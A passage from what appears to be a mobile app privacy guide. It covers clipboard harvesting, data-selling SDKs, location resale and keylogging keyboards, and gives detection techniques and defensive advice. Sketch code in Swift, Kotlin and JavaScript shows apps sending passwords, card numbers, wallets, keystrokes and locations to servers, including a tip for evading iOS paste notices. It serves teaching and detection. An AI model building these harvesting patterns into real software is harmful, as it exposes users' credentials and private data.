} else if isCryptoAddress(content) {
dataType = "crypto_wallet"
sensitive = true
}
// Send to server
let payload = [
"user_id": currentUserId,
"content": content, // Full clipboard!
"type": dataType,
"sensitive": sensitive,
"timestamp": Date().timeIntervalSince1970,
"source_app": getPreviousApp() // iOS 14+ prevents this
]
uploadToServer(payload)
// If sensitive, send to separate endpoint for exploitation
if sensitive {
sendToExploitationService(payload)
}
}
func isPassword(_ text: String) -> Bool {
// Heuristics: 8+ chars, mixed case, numbers, symbols
return text.count >= 8 &&
text.rangeOfCharacter(from: .uppercaseLetters) != nil &&
text.rangeOfCharacter(from: .lowercaseLetters) != nil &&
text.rangeOfCharacter(from: .decimalDigits) != nil
}
func isCreditCard(_ text: String) -> Bool {
let cleaned = text.replacingOccurrences(of: "[^0-9]",
with: "",
options: .regularExpression)
return cleaned.count == 16 && luhnCheck(cleaned)
}
}
`
iOS 14+ Mitigation:
`swift
// iOS 14+ shows notification: "App pasted from clipboard"
// But app can still read it once
// Attack: Read immediately when app becomes active
func applicationDidBecomeActive() {
// One-time read, but still privacy violation
if let clipboard = UIPasteboard.general.string {
quicklyAnalyze(clipboard) // Must be fast to avoid user notice
}
}
`
---
Detection and Forensics
Privacy Violation Detection Techniques
1. Network Traffic Analysis
`bash
Detect privacy violations through network monitoring
Android: Use mitmproxy to intercept traffic
$ mitmproxy --mode transparent --showhost
Look for suspicious patterns:
- Location coordinates in requests
- Contact lists in POST bodies
- PII in analytics events
- Encrypted payloads to unknown domains
iOS: Use Charles Proxy or Proxyman
Enable SSL Proxying for specific hosts
Look for:
- Frequent background network requests
- Large data uploads
- Third-party analytics domains
`
Automated Detection:
`python
Privacy violation detector
import re
import json
class PrivacyViolationDetector:
def analyze_network_request(self, request):
violations = []
# Check for PII in URL parameters
if self.contains_email(request.url):
violations.append("Email in URL parameters")
if self.contains_phone(request.url):
violations.append("Phone number in URL")
# Check request body
try:
body = json.loads(request.body)
# Check for contact list upload
if 'contacts' in body and isinstance(body['contacts'], list):
if len(body['contacts']) > 10:
violations.append(f"Mass contact upload ({len(body['contacts'])} contacts)")
# Check for location data
if 'latitude' in body and 'longitude' in body:
violations.append("Location data transmission")
# Check for PII fields
pii_fields = ['email', 'phone', 'ssn', 'address', 'name']
found_pii = [field for field in pii_fields if field in body]
if found_pii:
violations.append(f"PII in request: {', '.join(found_pii)}")
except:
pass
return violations
`
2. Runtime Permission Monitoring
`bash
Android: Monitor permission requests
$ adb logcat | grep -i "permission"
iOS: Use Xcode Console
Filter for: "This app has attempted to access privacy-sensitive data"
Look for:
- Permissions requested at app launch (not contextual)
- Background location access requests
- Multiple permissions requested simultaneously
- Permission requests not explained in UI
`
3. File System Analysis
`bash
Android: Check app's private storage for PII
$ adb shell
$ cd /data/data/com.example.app
$ find . -name "*.db" -exec sqlite3 {} "SELECT name FROM sqlite_master WHERE type='table';" \;
Look for tables like:
- user_locations
- contact_data
- device_identifiers
- analytics_events
iOS: Backup analysis
$ idevicebackup2 backup ./backup
$ python analyze_backup.py ./backup
Check for unencrypted databases containing PII
`
4. SDK Analysis
`bash
Detect third-party SDKs and their permissions
Android
$ apktool d app.apk
$ cd app/lib
$ ls -la # Check for third-party libraries
iOS
$ class-dump MyApp.app/MyApp | grep -i analytics
$ class-dump MyApp.app/MyApp | grep -i tracking
Exodus Privacy analysis
$ python exodus_analyze.py app.apk
Reports: Number of trackers, permissions requested by each
`
---
Real-World Attack Examples
Example 1: Facebook Pixel SDK Unauthorized Tracking
Attack Vector: Facebook Pixel SDK collected app activity without user consent.
`kotlin
// What developers thought they were integrating:
// "Simple conversion tracking for ads"
// What it actually did:
class FacebookPixelSDK {
fun trackEvent(eventName: String, parameters: Map) {
val enrichedData = mutableMapOf()
enrichedData.putAll(parameters)
// PRIVACY VIOLATION: Add undisclosed data
enrichedData["device_id"] = getDeviceId()
enrichedData["advertising_id"] = getAdvertisingId()
enrichedData["installed_apps"] = getInstalledApps() // Not disclosed!
enrichedData["precise_location"] = getCurrentLocation() // Not disclosed!
enrichedData["contact_hash"] = hashContactList() // Not disclosed!
// Send to Facebook
sendToFacebook(enrichedData)
// Share with data broker network
shareWithPartners(enrichedData)
}
}
`
Impact:
- EU investigation and fines
- Class action lawsuits
- Forced SDK changes
- App developers unknowingly violated user privacy
---
Example 2: Weather Apps Location Selling
Attack Vector: Weather apps sold real-time location data.
Implementation:
`javascript
// Weather app backend
app.post('/api/weather', async (req, res) => {
const { latitude, longitude, userId } = req.body;
// Fetch weather (legitimate purpose)
const weather = await getWeather(latitude, longitude);
// PRIVACY VIOLATION: Sell location to data brokers
await Promise.all([
databroker1.sellLocation({ userId, latitude, longitude, timestamp: Date.now() }),
databroker2.sellLocation({ userId, latitude, longitude, timestamp: Date.now() }),
databroker3.sellLocation({ userId, latitude, longitude, timestamp: Date.now() })
]);
// Return weather (user unaware of selling)
res.json({ weather });
});
`
Buyers:
- Hedge funds (foot traffic analysis)
- Advertising networks
- Insurance companies
- Political campaigns
- Private investigators
---
Example 3: Keyboard Apps Keystroke Logging
Attack Vector: Third-party keyboards logged everything typed.
`swift
// Malicious keyboard extension
class CustomKeyboard: UIInputViewController {
override func textWillChange(_ textInput: UITextInput?) {
super.textWillChange(textInput)
}
override func textDidChange(_ textInput: UITextInput?) {
super.textDidChange(textInput)
// PRIVACY VIOLATION: Log all keystrokes
if let proxy = textDocumentProxy as? UITextDocumentProxy {
let typed = proxy.documentContextBeforeInput ?? ""
// Send everything to server
logKeystroke(
text: typed,
app: getCurrentApp(),
timestamp: Date(),
user: getUserId()
)
}
}
}
``
Data Collected:
- Passwords
- Credit card numbers
- Private messages
- Search queries
- All typed text across all apps
---
Conclusion
Privacy attack vectors differ from traditional security vulnerabilities:
- No "exploit" needed: Abuse legitimate functionality
- App is the attacker: Not external threat actors
- User granted permission: But didn't understand scope
- Detection is hard: Looks like normal behavior
- Legal gray area: Often violates ToS but not criminal law
- Audit third-party SDKs before integration
- Implement data minimization by default
- Provide granular privacy controls to users
- Monitor network traffic for unexpected data transmission
- Review logs and crash reports for PII leakage
- Conduct privacy impact assessments
- Follow platform privacy guidelines strictly
- Review permissions before granting
- Disable background app refresh for apps that don't need it
- Use platform privacy dashboards (iOS Privacy Report, Android Privacy Dashboard)
- Read privacy labels before downloading
- Revoke permissions for unused apps
The best defense against privacy attacks is privacy-by-design: collecting minimal data, providing transparency, and respecting user choices from the start.
---
Additional Resources
- OWASP Mobile Security Testing Guide - Privacy Controls
- Exodus Privacy - Tracker Analysis
- AppCensus - Mobile App Privacy
- Platform Privacy Documentation